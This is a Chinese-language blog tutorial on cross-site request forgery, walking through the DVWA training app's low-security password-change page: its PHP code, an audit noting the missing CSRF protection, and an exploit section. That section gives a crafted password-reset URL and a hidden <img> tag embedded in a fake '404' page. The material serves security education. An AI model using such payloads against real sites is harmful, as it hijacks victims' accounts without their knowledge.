Cross Site Request Forgery (CSRF)

Cross Site Request Forgery (CSRF)

跨站请求伪造,one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF

挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。

利用受害者尚未失效的身份认证信息(cookies、会话等),向服务器发送请求。

利用的是网站对用户的信任。

条件

用户必须登录

看发包请求

服务端没有二次认证

被害者不知情

img

1.用户登录服务器;
2.服务器返回cookie;
3.hacker可以修改用户密码的URL发给用户;
4.用户如果点击了该URL,则密码就会被更改(如果没有点击,则密码不会被修改,但密码是否被更改hacker是不知道的);
最后,黑客使用用户的用户名和密码尝试进行登录服务器;如果成功,则证明用户点过url,如果没有登录成功,则用户没有点击url;

防范手段:

1、检查Referer字段:HTTP头中有一个Referer字段,这个字段用以标明请求来源于哪个地址。在处理敏感数据请求时,通常来说,Referer字段应和请求的地址位于同一域名下。

2、添加校验token

[low]

服务端核心代码:

<?php

if( isset( $_GET[ 'Change' ] ) ) {//判断是否有点击 Change 参数
    // Get input
    $pass_new  = $_GET[ 'password_new' ]; //获取新密码
    $pass_conf = $_GET[ 'password_conf' ]; //获取确认的新密码

    // Do the passwords match?
    if( $pass_new == $pass_conf ) { 
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));  //过滤掉mysql数据库中的特殊字符
        $pass_new = md5( $pass_new );  //将新密码进行md5保存

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

【代码审计】

服务器收到修改密码的请求后,会检查参数password_new与password_conf是否相同,如果相同,对$pass_new变量进行调用mysql_real_escape_string函数来进行字符串的过滤(防御SQL注入),再调用md5()函数对输入的密码进行MD5加密,最后会在数据库中修改密码,并没有任何的防CSRF机制(当然服务器对请求的发送者是做了身份验证的,检查cookie)。

【漏洞利用】

1.攻击者会构造一个 url 如下,当用户点击这个连接,并且他的登录状态(例如 cookie)还未过期时,他的密码就会被修改掉。

http://(DVWA 的 url)?password_new=123&password_conf=123&Change=Change#

2.现实攻击场景下,这种方法需要事先在公网上传一个攻击页面,诱骗受害者去访问,真正能够在受害者不知情的情况下完成CSRF攻击。可以在本地写一个test.html

<img src="(DVWA 的 url)?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/>
<h1>404</h1>
<h2>file not found.</h2>
posted @ 2021-07-03 16:16  dem0n小姐姐  阅读(80)  评论(0)    收藏  举报